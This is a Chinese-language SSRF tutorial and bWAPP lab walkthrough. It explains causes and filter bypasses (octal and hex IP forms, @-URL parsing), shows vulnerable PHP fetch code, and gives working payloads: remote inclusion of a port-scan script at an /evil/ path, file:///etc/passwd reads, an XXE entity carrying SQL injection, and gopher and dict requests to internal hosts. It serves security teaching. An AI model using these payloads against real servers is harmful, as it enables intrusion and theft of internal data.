1. 程式人生 > 實用技巧 >SSRF 攻擊技術

SSRF 攻擊技術

SSRF 攻擊技術

  SSRF(Server-Side Request Forgery:伺服器端請求偽造) 是一種由攻擊者構造形成由 服務端發起請求的一個安全漏洞。一般情況下,SSRF 是要目標網站的內部系統。(因為他是 從內部系統訪問的,所有可以通過它攻擊外網無法訪問的內部系統,也就是把目標網站當中 間人)

1.1.1 SSRF形成原因

  SSRF 形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能,且沒有 對目標地址做過濾與限制。比如從指定 URL 地址獲取網頁文字內容,載入指定地址的圖片, 文件,等等。


首先,我們要對目標網站的架構瞭解,腦子了要有一個架構圖。比如 : A 網站,是一 個所有人都可以訪問的外網網站,B 網站是一個他們內部的 OA 網站,我們普通使用者只可以 訪問 a 網站,不能訪問 b 網站。但是我們可以同過 a 網站做中間人,訪問 b 網站,從而達到 攻擊 b 網站需求。

  正常使用者訪問網站的流程是:
        輸入 A 網站 URL --> 傳送請求 --> A 伺服器接受請求(沒有過濾),並處理 -->返回用 戶響應

  那網站有個請求是 www.oldboyedu,com/xxx.php?image=URL】
  那麼產生 SSRF 漏洞的環節在哪裡呢?安全的網站應接收請求後,檢測請求的合法性
  產生的原因:伺服器端的驗證並沒有對其請求獲取圖片的引數(image=)做出嚴格的過濾以 及限制,導致 A 網站可以從其他伺服器的獲取資料      

  例如:
        www.oldboyedu.com/xxx.php?image=www.luffycity.com/1.jpg
        如果我們將 www.luffycity.com/1.jpg 換為與該伺服器相連的內網伺服器地址會產生什麼 效果呢?
        如果存在該內網地址就會返回 1xx 2xx 之類的狀態碼,不存在就會其他的狀態碼
        終極簡析: SSRF 漏洞就是通過篡改獲取資源的請求傳送給伺服器,但是伺服器並沒有檢測 這個請求是否合法的,然後伺服器以他的身份來訪問其他伺服器的資源。

1.1.2 SSRF用途

  攻擊者利用 ssrf 可以實現的攻擊主要有 5 種::
        1.可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的 banner 資訊; 
        2.攻擊執行在內網或本地的應用程式(比如溢位); 
        3.對內網 web 應用進行指紋識別,通過訪問預設檔案實現; 
        4.攻擊內外網的 web 應用,主要是使用 get 引數就可以實現的攻擊(比如 struts2,sqli等); 
        5.利用 file 協議讀取本地檔案等。

1.1.3 SSRF漏洞出沒位置

  注:個人覺得所有調外部資源的引數都有可能存在 ssrf 漏洞
  1)分享:通過 URL 地址分享網頁內容 
  2)轉碼服務 
  3)線上翻譯 www.oldboyedu.com 
  4)圖片載入與下載:通過 URL 地址載入或下載圖片 
  5)圖片、文章收藏功能 
  6)未公開的 api 實現以及其他呼叫 URL 的功能 
  7)從 URL 關鍵字中尋找
share 
wap 
url
link 
src 
source 
target 
u 
3g 
display 
sourceURl 
imageURL 
domain 
...

繞過解讀:

  1、更改 IP 地址寫法 一些開發者會通過對傳過來的 URL 引數進行正則匹配的方式來過濾掉內網 IP,如採用如下 正則表示式:
        ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$ 
        ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$ 
        ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

  對於這種過濾我們可以採用改編 IP 的寫法的方式進行繞過,例如 192.168.0.1 這個 IP 地址 我們可以改寫成:
        (1)、8 進位制格式:0300.0250.0.1 
        (2)、16 進位制格式:0xC0.0xA8.0.1 
        (3)、10 進位制整數格式:3232235521
        (4)、16 進位制整數格式:0xC0A80001
        還有一種特殊的省略模式,例如 10.0.0.1 這個 IP 可以寫成 10.1

  2、利用解析 URL 所出現的問題
        在某些情況下,後端程式可能會對訪問的 URL 進行解析,對解析出來的 host 地址進行過濾。 這時候可能會出現對 URL 引數解析不當,導致可以繞過過濾。
        http://[email protected]/
        當後端程式通過不正確的正則表示式(比如將 http 之後到 com 為止的字元內容,也就是 www.oldboyedu.com,認為是訪問請求的 host 地址時)對上述 URL 的內容進行解析的時候, 很有可能會認為訪問 URL 的 host 為 www.oldboyedu.com,而實際上這個 URL 所請求的內容 都是 192.168.0.1 上的內容。

1.1.4 SSRF常用的後端實現

  終極簡析: SSRF 漏洞就是通過篡改獲取資源的請求傳送給伺服器,但是伺服器並沒有 檢測這個請求是否合法的,然後伺服器以他的身份來訪問其他伺服器的
  ssrf 攻擊可能存在任何語言編寫的應用,我們通過一些 php 實現的程式碼來作為樣例分析。程式碼的大部分來自於真實的應用原始碼。

file_get_contents:

<?php 
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "<img src=\"".$filename."\"/>"; 
} 
echo $img; 
?>
  這段程式碼使用 file_get_contents 函式從使用者指定的 url 獲取圖片,然後把它用一個隨機文 件名儲存在硬碟上,並展示給使用者。

fsockopen():

<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo "$errstr (error number $errno) \n"; 
} else { 
$out = "GET $link HTTP/1.1\r\n"; 
$out .= "Host: $host\r\n"; 
$out .= "Connection: Close\r\n\r\n"; 
$out .= "\r\n"; 
fwrite($fp, $out); 
$contents=''; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024);
} 
fclose($fp); 
return $contents; 
} 
} 
?>
  這段程式碼使用 fsockopen 函式實現獲取使用者制定 url 的資料(檔案或者 html)。這個函式會 使用 socket 跟伺服器建立 tcp 連線,傳輸原始資料。

curl_exec():

<?php 
if (isset($_POST['url'])) { 
$link = $_POST['url']; 
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0); 
curl_setopt($curlobj,CURLOPT_URL,$link); 
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($curlobj); 
curl_close($curlobj); 
$filename = './curled/'.rand().'.txt'; 
file_put_contents($filename, $result); 
echo $result; 
} 
?>
  這是另外一個很常見的實現。使用 curl 獲取資料。

1.1.5 SSRF測試實驗

  bWAPP(buggy web Application) 這是一個集成了各種常見漏洞和最新漏洞的開源 Web 應 用程式,集成了超過 100 種漏洞,個人覺得還是非常好用的,特別是在找漏洞利用示例的時 候,往往能夠節省一些時間。
  bWAPP(buggy web Application) 的搭建可參考老男孩安全培訓環境建設。
  安裝完畢後,使用 bee/bug 進行登入,登入的時候的等級選擇為 low,登入後選擇 SSRF 的 靶場,然後點選 Hack 進行演練。

  bWAPP 中的 SSRF 給出了 3 個小實驗來說明 SSRF 的利用場景:    
        任務 1:使用遠端檔案包含進行埠掃描(內網探測) 
        任務 2:使用 XXE 獲取敏感檔案中的內容(檔案讀取) 
        任務 3:使用 XXE 進行 SmartTV 的拒絕服務漏洞的利用(漏洞利用)

  任務 1:使用遠端檔案包含進行埠掃描
        點選任務 1 中的 Port scan 可以獲得一份埠掃描的攻擊指令碼
        http://192.168.163.157/evil/ssrf-1.txt,指令碼中具體的內容就不進行講解了,相信大家能夠看 懂指令碼的功能和執行流程,僅需要包含指令碼,並請求 IP 引數為對應的主機即可,接下來就 是利用 bWAPP 中的遠端檔案包含漏洞,執行埠掃描的指令碼。
        在 Choose your bug 中選擇 Remote & Local File Inclusion (RFI/LFI)security level 還是選擇 low, 然後點選 Hack。

  進入 Remote & Local File Inclusion (RFI/LFI)的實驗後,看到有個選擇語言的功能模組,直接執 行下,觀察 Get 請求中的引數,發現是典型檔案包含問題,language=lang_en.php
  GET 的請求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
  ![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200727131238274-838763775.png)
  使用如下 PAYLOAD,遠端包含並執行掃描指令碼探測內網主機的埠和服務。
        POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go 
        POST DATA:ip=192.168.163.159
  這裡 xxx.xxx.xxx (192.168.163.1)是掃描指令碼的訪問地址,192.168.163.159 是要掃描的目標主 機地址,且該地址是 xxx.xxx.xxx 主機無法訪問到的,然後方便檢視區分使用 post 請求提交 要進行掃描的目標主機 IP,掃描結束後便返回結果。

  任務 2:使用 XXE 獲取敏感檔案中的內容
        先點選任務 2 中的 Access 得到 XXE 的利用指令碼:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然後 訪問 XML External Entity Attacks (XXE)演練環境,使用 burpSuite 抓包,併發送到 repeater 中 進行測試。
        測試中涉及的 XXE 知識可以參考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 這篇文章。


使用 http 協議獲取/bWAPP/robots.txt 的內容。

  php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he roes.xml 
  使用 php 協議獲取/bWAPP/passwords/heroes.xml 中的經過 base64 編碼的資料。

使用 file 協議獲取 bWAPP 本機的/etc/passwd 的內容。

  任務 3:使用 XXE 進行內網 sql 注入)
        這個任務對內網站點的 SQL 注入漏洞進行利用。如,192.168.163.150 主機上有注入漏洞那 麼可以傳送如下 payload 可以使用 SSRF 進行 SQL 漏洞的利用,當然也可以進行 Struts2 等漏 洞的利用。
1.<?xml version=”1.0′′ encoding=”utf-8′′?>
2.<!DOCTYPE root [ 
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()"> 
4.]> 
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

1.1.6 SSRF知識拓展

  以上講述的是 SSRF 的一般用法,用 http,file,php 協議來進行內網探測,檔案讀取, 漏洞利用等,接下來討論的是 SSRF 的拓展知識。回想上面的利用都是傳送 GET 的請求進行 利用的。那麼請思考下如果內網站點的漏洞在 POST 請求的引數中呢?
  又或者漏洞點在 request header 中的某個欄位裡呢?應該如何構造 SSRF 請求進行利用?
  SSRF 中各個程式語言可以使用的協議如下圖所示:

  實驗靶機搭建:  
        從上面的表格內容可以知道,在php中要使用gopher協議需要curl的支援,當然curl還支援了很多的協議,首先準備好lamp的環境,如果ubuntu上的PHP沒有curl拓展,需要使用以下命令進行安裝 。  
        sudo apt-get install php5-curl  
        sudo service apache restart

        然後編寫以下測試程式碼,使用者可控的輸入點是$_GET['url']到此就完成實驗靶機的搭建了。
1.<?php

2.// 建立一個新cURL資源

3.$ch = curl_init();

4.// 設定URL和相應的選項

5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);

6.curl_setopt($ch, CURLOPT_HEADER, false);

7.// 抓取URL並把它傳遞給瀏覽器

8.curl_exec($ch);

9.//關閉cURL資源,並且釋放系統資源

10.curl_close($ch);

11.?>
  1. file協議的運用

file協議還是和之前文章講述的一樣,此處就使用以下的圖片進行展示,不再進行講述。

請求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以獲取敏感檔案的資訊。

  1. gopher協議的運用

接下來主要介紹下在SSRF漏洞利用中號稱萬金油的gopher協議。

簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher傳送各種格式的請求包,這樣變可以解決漏洞點不在GET引數的問題了。

基本協議格式:URL:gopher://:/

進行如下請求可以傳送一個POST請求,且引數cmd的值為balabal,這裡構造gopher請求的時候,回車換行符號要進行2次url編碼%250d%250a

http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1%0d%0aHost: 192.168.163.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: /%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala

此時可以在192.168.163.1主機中的access.log,找到訪問日誌。

當然也可以使用網路資料包分析工具,抓取TCP流量中HTTP的資料,這裡我使用的是科來網路分析器。

由於gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色,具體的攻擊方式可以參考如下連結:

https://blog.chaitin.cn/gopher-attack-surfaces/

  1. dict協議應用

dict協議是一個字典伺服器協議,通常用於讓客戶端使用過程中能夠訪問更多的字典源,但是在SSRF中如果可以使用dict協議那麼就可以輕易的獲取目標伺服器埠上執行的服務版本等資訊。

如請求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 可以獲取目標主機的3306埠上執行著mysq-l5.5.55版本的應用。

0×04 總結

本篇僅介紹了SSRF的一些基本知識,SSRF有很多很棒的利用案例,可以在wooyun漏洞庫或網際網路上找到,還有很多騷知識可以參考豬豬俠大佬的《SSRF漏洞自動化利用》和Orange Tsai的《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!》這兩個議題,期待和師傅的討論和交流。